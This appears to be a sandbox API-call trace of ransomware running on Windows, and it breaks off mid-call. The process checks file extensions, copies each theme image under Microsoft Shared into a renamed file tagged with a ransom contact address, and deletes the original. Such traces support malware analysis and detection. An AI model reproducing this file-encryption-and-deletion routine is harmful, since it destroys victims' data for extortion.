[0047.264] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.264] lstrlenW (lpString=".rar") returned 4 [0047.264] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.264] lstrlenW (lpString=".bz2") returned 4 [0047.264] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.264] lstrlenW (lpString=".7z") returned 3 [0047.264] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.264] lstrlenW (lpString=".dbf") returned 4 [0047.264] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.264] lstrlenW (lpString=".1cd") returned 4 [0047.264] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.264] lstrlenW (lpString=".jpg") returned 4 [0047.264] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.264] lstrlenW (lpString=".doc") returned 4 [0047.264] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.264] lstrlenW (lpString=".docx") returned 5 [0047.264] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.264] lstrlenW (lpString=".pdf") returned 4 [0047.264] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.264] lstrlenW (lpString=".xls") returned 4 [0047.264] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.264] lstrlenW (lpString=".xlsx") returned 5 [0047.264] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.265] lstrlenW (lpString=".ppt") returned 4 [0047.265] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.265] lstrlenW (lpString=".zip") returned 4 [0047.265] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.265] lstrlenW (lpString=".rar") returned 4 [0047.265] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.265] lstrlenW (lpString=".bz2") returned 4 [0047.265] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.265] lstrlenW (lpString=".7z") returned 3 [0047.265] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.265] lstrlenW (lpString=".dbf") returned 4 [0047.265] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.265] lstrlenW (lpString=".1cd") returned 4 [0047.265] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.265] lstrlenW (lpString=".jpg") returned 4 [0047.265] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.265] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0047.265] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.266] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1737) returned 1 [0047.266] CloseHandle (hObject=0x228) returned 1 [0047.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0047.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.266] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.266] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.269] GetLastError () returned 0x0 [0047.269] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x6c9, lpOverlapped=0x0) returned 1 [0047.270] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0047.271] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.271] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.271] SetEndOfFile (hFile=0x180) returned 1 [0047.271] CloseHandle (hObject=0x180) returned 1 [0047.271] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.271] SetEndOfFile (hFile=0x228) returned 1 [0047.272] CloseHandle (hObject=0x228) returned 1 [0047.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.272] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0047.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.272] lstrlenW (lpString=".doc") returned 4 [0047.272] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.272] lstrlenW (lpString=".docx") returned 5 [0047.272] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.272] lstrlenW (lpString=".pdf") returned 4 [0047.272] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.272] lstrlenW (lpString=".xls") returned 4 [0047.272] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.272] lstrlenW (lpString=".xlsx") returned 5 [0047.272] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.272] lstrlenW (lpString=".ppt") returned 4 [0047.273] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.273] lstrlenW (lpString=".zip") returned 4 [0047.273] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.273] lstrlenW (lpString=".rar") returned 4 [0047.273] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.273] lstrlenW (lpString=".bz2") returned 4 [0047.273] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.273] lstrlenW (lpString=".7z") returned 3 [0047.273] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.273] lstrlenW (lpString=".dbf") returned 4 [0047.273] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.273] lstrlenW (lpString=".1cd") returned 4 [0047.273] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.273] lstrlenW (lpString=".jpg") returned 4 [0047.273] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.273] lstrlenW (lpString=".doc") returned 4 [0047.273] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.273] lstrlenW (lpString=".docx") returned 5 [0047.273] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.273] lstrlenW (lpString=".pdf") returned 4 [0047.273] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.273] lstrlenW (lpString=".xls") returned 4 [0047.273] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.273] lstrlenW (lpString=".xlsx") returned 5 [0047.273] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.273] lstrlenW (lpString=".ppt") returned 4 [0047.273] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.274] lstrlenW (lpString=".zip") returned 4 [0047.274] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.274] lstrlenW (lpString=".rar") returned 4 [0047.274] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.274] lstrlenW (lpString=".bz2") returned 4 [0047.274] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.274] lstrlenW (lpString=".7z") returned 3 [0047.274] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.274] lstrlenW (lpString=".dbf") returned 4 [0047.274] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.274] lstrlenW (lpString=".1cd") returned 4 [0047.274] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0047.274] lstrlenW (lpString=".jpg") returned 4 [0047.274] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.274] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0047.274] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.274] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=33479) returned 1 [0047.275] CloseHandle (hObject=0x228) returned 1 [0047.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0047.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.275] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.275] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.275] GetLastError () returned 0x0 [0047.275] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x82c7, lpOverlapped=0x0) returned 1 [0047.277] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0047.278] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.278] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.279] SetEndOfFile (hFile=0x180) returned 1 [0047.279] CloseHandle (hObject=0x180) returned 1 [0047.279] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.279] SetEndOfFile (hFile=0x228) returned 1 [0047.280] CloseHandle (hObject=0x228) returned 1 [0047.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.280] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0047.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.280] lstrlenW (lpString=".doc") returned 4 [0047.280] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.280] lstrlenW (lpString=".docx") returned 5 [0047.280] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.280] lstrlenW (lpString=".pdf") returned 4 [0047.280] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.280] lstrlenW (lpString=".xls") returned 4 [0047.280] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.280] lstrlenW (lpString=".xlsx") returned 5 [0047.280] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.280] lstrlenW (lpString=".ppt") returned 4 [0047.280] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.281] lstrlenW (lpString=".zip") returned 4 [0047.281] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.281] lstrlenW (lpString=".rar") returned 4 [0047.281] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.281] lstrlenW (lpString=".bz2") returned 4 [0047.281] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.281] lstrlenW (lpString=".7z") returned 3 [0047.281] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.281] lstrlenW (lpString=".dbf") returned 4 [0047.281] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.281] lstrlenW (lpString=".1cd") returned 4 [0047.281] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.281] lstrlenW (lpString=".jpg") returned 4 [0047.281] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.281] lstrlenW (lpString=".doc") returned 4 [0047.281] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.281] lstrlenW (lpString=".docx") returned 5 [0047.281] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.281] lstrlenW (lpString=".pdf") returned 4 [0047.281] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.281] lstrlenW (lpString=".xls") returned 4 [0047.281] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.281] lstrlenW (lpString=".xlsx") returned 5 [0047.281] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.281] lstrlenW (lpString=".ppt") returned 4 [0047.281] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.282] lstrlenW (lpString=".zip") returned 4 [0047.282] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.282] lstrlenW (lpString=".rar") returned 4 [0047.282] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.282] lstrlenW (lpString=".bz2") returned 4 [0047.282] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.282] lstrlenW (lpString=".7z") returned 3 [0047.282] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.282] lstrlenW (lpString=".dbf") returned 4 [0047.282] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.282] lstrlenW (lpString=".1cd") returned 4 [0047.282] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0047.282] lstrlenW (lpString=".jpg") returned 4 [0047.282] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.282] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0047.282] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.283] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1675) returned 1 [0047.283] CloseHandle (hObject=0x228) returned 1 [0047.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0047.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0047.283] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.283] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.285] GetLastError () returned 0x0 [0047.285] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x68b, lpOverlapped=0x0) returned 1 [0047.286] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x690, lpOverlapped=0x0) returned 1 [0047.287] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.287] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.287] SetEndOfFile (hFile=0x180) returned 1 [0047.288] CloseHandle (hObject=0x180) returned 1 [0047.288] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.288] SetEndOfFile (hFile=0x228) returned 1 [0047.288] CloseHandle (hObject=0x228) returned 1 [0047.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.289] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0047.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.289] lstrlenW (lpString=".doc") returned 4 [0047.289] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.289] lstrlenW (lpString=".docx") returned 5 [0047.289] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.289] lstrlenW (lpString=".pdf") returned 4 [0047.289] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.289] lstrlenW (lpString=".xls") returned 4 [0047.289] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.289] lstrlenW (lpString=".xlsx") returned 5 [0047.289] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.289] lstrlenW (lpString=".ppt") returned 4 [0047.289] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0047.289] lstrlenW (lpString=".zip") returned 4 [0047.289] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.289] lstrlenW (lpString=".rar") returned 4 [0047.289] lstrcmpiW 